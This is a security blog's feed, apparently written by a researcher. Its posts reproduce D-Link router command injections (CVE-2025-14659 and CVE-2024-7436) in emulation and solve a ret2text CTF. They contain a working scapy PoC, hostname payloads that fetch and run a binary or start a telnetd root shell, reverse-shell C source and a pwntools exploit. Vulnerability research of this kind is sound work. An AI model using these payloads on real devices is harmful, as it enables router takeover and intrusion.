<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>SAKURA</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://jianglingge.github.io/</id>
  <link href="https://jianglingge.github.io/" rel="alternate"/>
  <link href="https://jianglingge.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, SAKURA</rights>
  <subtitle>记录 · 思考 · 分享</subtitle>
  <title>我的博客</title>
  <updated>2026-10-24T09:38:00.000Z</updated>
  <entry>
    <author>
      <name>SAKURA</name>
    </author>
    <category term="技术笔记" scheme="https://jianglingge.github.io/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="漏洞分析" scheme="https://jianglingge.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <category term="IoT" scheme="https://jianglingge.github.io/tags/IoT/"/>
    <category term="CVE" scheme="https://jianglingge.github.io/tags/CVE/"/>
    <content>
      <![CDATA[<h2 id="固件解包"><a href="#固件解包" class="headerlink" title="固件解包"></a>固件解包</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">binwalk -Me DIR-860L_B1_FW203b03.bin</span><br></pre></td></tr></table></figure><span id="more"></span><h2 id="固件模拟"><a href="#固件模拟" class="headerlink" title="固件模拟"></a>固件模拟</h2><p>配置网卡</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">echo 123 | sudo -S ip tuntap add dev tap10_0 mode tap</span><br><span class="line">echo 123 | sudo -S ip link set tap10_0 up</span><br><span class="line">echo 123 | sudo -S ip addr add 192.168.0.2/24 dev tap10_0</span><br></pre></td></tr></table></figure><p>启动qemu</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">echo 123 | sudo -S qemu-system-mipsel \</span><br><span class="line">  -m 1024 -M malta \</span><br><span class="line">  -kernel binaries/vmlinux.mipsel.4 \</span><br><span class="line">  -drive if=ide,format=raw,file=scratch/10/image.raw \</span><br><span class="line">  -append &quot;root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 \</span><br><span class="line">           rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 \</span><br><span class="line">           FIRMAE_NET=true FIRMAE_NVRAM=true FIRMAE_KERNEL=true FIRMAE_ETC=true \</span><br><span class="line">           user_debug=0 firmadyne.syscall=1&quot; \</span><br><span class="line">  -serial file:scratch/10/qemu.final.serial.log \</span><br><span class="line">  -serial unix:/tmp/qemu.10.S1,server,nowait \</span><br><span class="line">  -monitor unix:/tmp/qemu.10,server,nowait \</span><br><span class="line">  -display none \</span><br><span class="line">  -device e1000,netdev=net0 -netdev socket,id=net0,listen=:2000 \</span><br><span class="line">  -device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 \</span><br><span class="line">  -device e1000,netdev=net2 -netdev tap,id=net2,ifname=tap10_0,script=no \</span><br><span class="line">  -device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003</span><br></pre></td></tr></table></figure><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/01.png"></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>资料中描述了漏洞信息，在DHCP守护进程中发现了RCE，并且是在处理现有IP地址的DHCP REQUEST消息中。</p><p>去看udhcpd这个组件</p><p>从借鉴的文章中直接定位到这个处理DHCP的函数</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/02.png"></p><p>然后再往下就能看到一个system()函数</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/03.png"></p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/04.png"></p><p>从这里可以看到服务器循环接收 DHCP 报文，读取 Option 53决定走哪个分支</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/05.png"></p><p>case3会通过get_option()直接从客户端DHCP REQUEST包中提取Option12，然后复制到v33，没有过滤地去把MAC(%s)、IP(%s)、hostname(%s)拼成命令字符串</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/06.png"></p><p>也就是在流程图的这个地方，Option 12 &#x3D; Hostname，攻击者可控，是命令注入的输入点</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/07.png"></p><p>如果找到现有租约</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/08.png"></p><p>发送ACK，确认续租</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/09.png"></p><p>那接下来就只需要用一个 shell 分隔符 ; 把可控的hostname的内容截成新命令</p><p>可以输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MyHost ; wget http://192.168.0.142:6666/evil.sh ; sh evil.sh ;</span><br></pre></td></tr></table></figure><p>最终整条system执行的就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">usockc /var/mydlinkeventd_usock NEW_DEVICE,76:e4:ab:1e:fe:40,192.168.0.142,MyHost ; wget http://... ; sh evil.sh ;\n</span><br></pre></td></tr></table></figure><p>但是就像这里</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/10.png"></p><p>我们先需要一个hostname才能进入我们的命令注入点</p><p>因此我们必须先拥有合法的租约，并且在发送的恶意 REQUEST 包中包含 Hostname 字段，才能进入这个注入点</p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p>先拿一次租约</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 123 | sudo -S dhclient -v -1 tap10_0</span><br></pre></td></tr></table></figure><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/11.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">MAC      = &quot;aa:1d:62:32:cf:ab&quot;</span><br><span class="line">REQ_IP   = &quot;192.168.0.163&quot;</span><br><span class="line">SERVER   = &quot;192.168.0.1&quot;</span><br><span class="line">HOSTNAME = &quot;; telnetd -l /bin/sh -p 9999 ;&quot;</span><br></pre></td></tr></table></figure><p>再关闭dhclicent防止后面干扰</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo killall dhclient</span><br></pre></td></tr></table></figure><p>然后开一个终端，准备给路由器传payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m http.server 8000</span><br></pre></td></tr></table></figure><p>再开一个nc监听</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 4444</span><br></pre></td></tr></table></figure><p>发恶意 DHCP REQUEST</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 123 | sudo -S python3 rev_shell.py tap10_0</span><br></pre></td></tr></table></figure><p>发送的 Hostname是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &amp;</span><br></pre></td></tr></table></figure><p>拼进 udhcpd 的 system() 后，实际执行的命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">usockc /var/mydlinkeventd_usock NEW_DEVICE,aa:1d:62:32:cf:ab,192.168.0.163,; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &amp;</span><br></pre></td></tr></table></figure><p>然后路由器就会wget 下载 -&gt;chmod +x-&gt;&#x2F;tmp&#x2F;s 后台回连</p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/12.png"></p><p><img src="/img/cve-2025-14659-dlink-dir-860l-b1/13.png"></p><p>监听端口会收到连接，直接就是 root shell</p><h2 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># CVE-2025-14659  PoC：D-Link DIR-860L B1 udhcpd Hostname 命令注入</span></span><br><span class="line"><span class="keyword">from</span> scapy.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># ---- 改成你 dhclient 拿到/网卡实际的值 ----</span></span><br><span class="line">IFACE    = <span class="string">&quot;tap10_0&quot;</span></span><br><span class="line">MAC      = <span class="string">&quot;aa:1d:62:32:cf:ab&quot;</span>     <span class="comment"># 网卡 MAC</span></span><br><span class="line">REQ_IP   = <span class="string">&quot;192.168.0.163&quot;</span>         <span class="comment"># dhclient 分配的租约 IP</span></span><br><span class="line">SERVER   = <span class="string">&quot;192.168.0.1&quot;</span>           <span class="comment"># 路由器(DHCP 服务器)</span></span><br><span class="line">XID      = <span class="number">0x12345678</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ---- 注入点：Option 12 Hostname，靠 ; 截断命令 ----</span></span><br><span class="line">HOSTNAME = <span class="string">&quot;; telnetd -l /bin/sh -p 9999 ;&quot;</span></span><br><span class="line"></span><br><span class="line">mac_bytes = <span class="built_in">bytes</span>.fromhex(MAC.replace(<span class="string">&quot;:&quot;</span>, <span class="string">&quot;&quot;</span>))</span><br><span class="line"></span><br><span class="line">pkt = (Ether(src=MAC, dst=<span class="string">&quot;ff:ff:ff:ff:ff:ff&quot;</span>)</span><br><span class="line">       / IP(src=<span class="string">&quot;0.0.0.0&quot;</span>, dst=<span class="string">&quot;255.255.255.255&quot;</span>)</span><br><span class="line">       / UDP(sport=<span class="number">68</span>, dport=<span class="number">67</span>)</span><br><span class="line">       / BOOTP(chaddr=mac_bytes, xid=XID)</span><br><span class="line">       / DHCP(options=[</span><br><span class="line">           (<span class="string">&quot;message-type&quot;</span>, <span class="string">&quot;request&quot;</span>),</span><br><span class="line">           (<span class="string">&quot;requested_addr&quot;</span>, REQ_IP),</span><br><span class="line">           (<span class="string">&quot;server_id&quot;</span>, SERVER),</span><br><span class="line">           (<span class="string">&quot;hostname&quot;</span>, HOSTNAME),   <span class="comment"># &lt;== 漏洞点</span></span><br><span class="line">           <span class="string">&quot;end&quot;</span></span><br><span class="line">       ]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">    sendp(pkt, iface=IFACE, verbose=<span class="literal">False</span>)</span><br><span class="line">    time.sleep(<span class="number">0.4</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] sent. hostname =&quot;</span>, HOSTNAME)</span><br></pre></td></tr></table></figure><h2 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h2><p>shell.elf源码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* mipsle 反弹 shell，静态编译后给 DIR-860L 用。</span></span><br><span class="line"><span class="comment">   用法: shell.elf [ip] [port]   (默认 192.168.0.2:4444) */</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;netinet/in.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;arpa/inet.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> *ip = argc &gt; <span class="number">1</span> ? argv[<span class="number">1</span>] : <span class="string">&quot;192.168.0.2&quot;</span>;</span><br><span class="line">    <span class="type">int</span> port = argc &gt; <span class="number">2</span> ? atoi(argv[<span class="number">2</span>]) : <span class="number">4444</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> fd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>);        <span class="comment">// 建 TCP socket</span></span><br><span class="line">    <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">a</span>;</span></span><br><span class="line">    a.sin_family = AF_INET;</span><br><span class="line">    a.sin_port = htons((<span class="type">unsigned</span> <span class="type">short</span>)port);        <span class="comment">// 端口 4444</span></span><br><span class="line">    a.sin_addr.s_addr = inet_addr(ip);               <span class="comment">// 回连 IP 192.168.0.2</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (connect(fd, (<span class="keyword">struct</span> sockaddr *)&amp;a, <span class="keyword">sizeof</span>(a)) &lt; <span class="number">0</span>) <span class="keyword">return</span> <span class="number">2</span>;  <span class="comment">// 连回攻击机</span></span><br><span class="line"></span><br><span class="line">    dup2(fd, <span class="number">0</span>);                                     <span class="comment">// 把连接接到 stdin</span></span><br><span class="line">    dup2(fd, <span class="number">1</span>);                                     <span class="comment">// stdout</span></span><br><span class="line">    dup2(fd, <span class="number">2</span>);                                     <span class="comment">// stderr</span></span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> *sh_argv[] = &#123;<span class="string">&quot;/bin/sh&quot;</span>, <span class="literal">NULL</span>&#125;;</span><br><span class="line">    execve(<span class="string">&quot;/bin/sh&quot;</span>, sh_argv, <span class="literal">NULL</span>);                <span class="comment">// 变成 /bin/sh</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">3</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://jianglingge.github.io/2026/10/24/cve-2025-14659-dlink-dir-860l-b1/</id>
    <link href="https://jianglingge.github.io/2026/10/24/cve-2025-14659-dlink-dir-860l-b1/"/>
    <published>2026-10-24T09:38:00.000Z</published>
    <summary>对 D-Link DIR-860L B1（v203b03）CVE-2025-14659 的复现记录：binwalk 解包并用 QEMU 模拟固件后，定位 udhcpd 处理 DHCP REQUEST 时未过滤拼接的 system() 调用，利用可控的 Option 12 Hostname 做命令注入，最后通过 wget 投递 shell 拿到 root。</summary>
    <title>CVE-2025-14659 D-Link DIR-860LB1 v203b03 命令注入漏洞</title>
    <updated>2026-10-24T09:38:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SAKURA</name>
    </author>
    <category term="技术笔记" scheme="https://jianglingge.github.io/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Pwn" scheme="https://jianglingge.github.io/tags/Pwn/"/>
    <category term="栈溢出" scheme="https://jianglingge.github.io/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/"/>
    <category term="CTF" scheme="https://jianglingge.github.io/tags/CTF/"/>
    <content>
      <![CDATA[<h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>将题目附件拖入IDA打开</p><span id="more"></span><p><img src="/img/simple-ret2text/01.png"></p><p>左侧可以看到有backdoor后门函数</p><p><img src="/img/simple-ret2text/02.png"></p><p><img src="/img/simple-ret2text/03.png"></p><p>再看从程序开始执行到vuln函数，有一个gets()函数，这是一个栈溢出漏洞，因为没有对输入做出长度检查，我们可以去进行栈溢出</p><p>双击s可以看到s这里的栈布局</p><p><img src="/img/simple-ret2text/04.png"></p><p>也可以在c代码页面中直接看，s这个参数到栈底rbp的距离是0x20</p><p><img src="/img/simple-ret2text/05.png"></p><p>但是在这个溢出点前还有一个taffy()函数，点进去看一下是干什么用的</p><p><img src="/img/simple-ret2text/06.png"></p><p>这里可以看到，这是对输入的字符进行一个比较，但是这是没有什么作用的，所以这里随便填，就能到下面的溢出点了</p><p>去查看backdoor()的地址，0x40123B</p><p><img src="/img/simple-ret2text/07.png"></p><p>然后就可以去构造payload了</p><p>先发送0x20的垃圾数据填充从s到栈底的空间，再发送一个0x8的数据覆盖rbp，ret地址在rbp的下一位，所以在填充完从s到覆盖rbp的位置后就可以直接传backdoor()的函数</p><p>栈空间布局：</p><p><img src="/img/simple-ret2text/08.jpeg" alt="画板"></p><h2 id="解题脚本（exp）"><a href="#解题脚本（exp）" class="headerlink" title="解题脚本（exp）"></a>解题脚本（exp）</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment">#r = process(&#x27;./pwn&#x27;)</span></span><br><span class="line">r = remote(<span class="string">&#x27;175.24.227.50&#x27;</span>,<span class="number">35264</span>)</span><br><span class="line"></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">context.log_level = <span class="string">&#x27;info&#x27;</span></span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor_addr = <span class="number">0x40123B</span></span><br><span class="line">ret_gadget = <span class="number">0x000000000040101a</span></span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x20</span> + <span class="number">8</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * offset + p64(ret_gadget) + p64(backdoor_addr)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">&#x27;大唐王朝中是谁开疆拓土？&#x27;</span>.encode(),<span class="string">b&#x27;taffy&#x27;</span>)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">&#x27;请开始你的表演：&#x27;</span>.encode(), payload)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://jianglingge.github.io/2026/10/24/simple-ret2text/</id>
    <link href="https://jianglingge.github.io/2026/10/24/simple-ret2text/"/>
    <published>2026-10-23T16:43:20.000Z</published>
    <summary>一道 ret2text 入门题：用 IDA 定位 backdoor 后门函数与 gets 栈溢出点，以 0x20 填充加 0x8 覆盖 rbp，再接 ret gadget 与后门地址拿下 shell。</summary>
    <title>来一个简单ret2text</title>
    <updated>2026-10-23T16:43:20.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SAKURA</name>
    </author>
    <category term="技术笔记" scheme="https://jianglingge.github.io/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="漏洞分析" scheme="https://jianglingge.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <category term="IoT" scheme="https://jianglingge.github.io/tags/IoT/"/>
    <category term="CVE" scheme="https://jianglingge.github.io/tags/CVE/"/>
    <content>
      <![CDATA[<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>下载固件后使用binwalk解包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">binwalk -Me DI_8100-16.07.26A1.zip</span><br></pre></td></tr></table></figure><span id="more"></span><p><img src="/img/cve-2024-7436/01.png"></p><p>进入解包后的目录</p><p>使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./firmwalker.sh /home/blonet/下载/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root</span><br></pre></td></tr></table></figure><p>查找到jhttpd文件</p><p><img src="/img/cve-2024-7436/02.png"></p><p>分析与jhttpd有关的rc</p><p>根据漏洞信息报告找到危险函数 system</p><p><img src="/img/cve-2024-7436/03.png"></p><p>执行v10，v10由v28而来</p><p><img src="/img/cve-2024-7436/04.png"></p><p>v28由v16拼接字符串</p><p><img src="/img/cve-2024-7436/05.png"></p><p>那么就有一个命令执行漏洞</p><p>再看前面的if条件</p><p><img src="/img/cve-2024-7436/06.png"></p><p>flag 是路由器，决定执行哪条命令</p><p>是cmd时才会执行漏洞函数</p><p>先看命令模板wys %s &gt; &#x2F;tmp&#x2F;msp.info  wys 里有一个命令表 gl_order_str</p><p>直接传 cmd&#x3D;ls，wys 查表，表里没有ls，拒绝执行，no order,please help。</p><p>要用管道符 | 绕过</p><p>因为直接使用不了命令，也是通过丰富的经验知道通过busybox去调用</p><h1 id="固件模拟"><a href="#固件模拟" class="headerlink" title="固件模拟"></a>固件模拟</h1><p>使用firmae模拟</p><p><img src="/img/cve-2024-7436/07.png"></p><p><img src="/img/cve-2024-7436/08.png"></p><p>进入到路由器管理页面（账号密码依旧丰富的经验，但也可以找到）</p><p><img src="/img/cve-2024-7436/09.png"></p><p>然后用bp拦截改数据：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag=cmd&amp;cmd=|/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%204444</span><br></pre></td></tr></table></figure><p>发送</p><p><img src="/img/cve-2024-7436/10.png"></p><h1 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a>反弹shell</h1><p>查看固件的busybox</p><p><img src="/img/cve-2024-7436/11.png"></p><p>有telnetd可以反弹shell</p><p><img src="/img/cve-2024-7436/12.png"></p>]]>
    </content>
    <id>https://jianglingge.github.io/2026/10/08/cve-2024-7436-dlink-di-8100/</id>
    <link href="https://jianglingge.github.io/2026/10/08/cve-2024-7436-dlink-di-8100/"/>
    <published>2026-10-08T12:07:31.000Z</published>
    <summary>对 D-Link DI-8100 路由器 jhttpd 组件中 CVE-2024-7436 命令执行漏洞的复现记录，包含固件解包、漏洞点定位、固件模拟与反弹 shell 的完整过程。</summary>
    <title>CVE-2024-7436 D-Link DI-8100 命令执行漏洞分析</title>
    <updated>2026-10-08T12:12:57.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SAKURA</name>
    </author>
    <category term="生活" scheme="https://jianglingge.github.io/categories/%E7%94%9F%E6%B4%BB/"/>
    <category term="随笔" scheme="https://jianglingge.github.io/tags/%E9%9A%8F%E7%AC%94/"/>
    <content>
      <![CDATA[<p>Hello World.</p><p>学一门新语言、开一个新项目，第一件事总是先让它向世界问个好。新博客也一样，就从这个标题开始。</p><span id="more"></span><p>这里是我的个人博客，准备用来放技术笔记和平时的一些零散想法。</p><p>之所以想有个自己的地方：写下来的东西，才算真正想清楚过。放在自己的站点上，排版是自己的，数据也是自己的。</p><p>暂时没什么宏大的计划，就是慢慢写、一直写。</p><p>那么，从这一篇开始。</p>]]>
    </content>
    <id>https://jianglingge.github.io/2026/10/08/hello-world/</id>
    <link href="https://jianglingge.github.io/2026/10/08/hello-world/"/>
    <published>2026-10-08T12:03:34.000Z</published>
    <summary>博客的第一篇文章。开一个新项目的第一件事，总是先让它向世界问个好。</summary>
    <title>Hello World</title>
    <updated>2026-10-08T12:03:34.000Z</updated>
  </entry>
</feed>
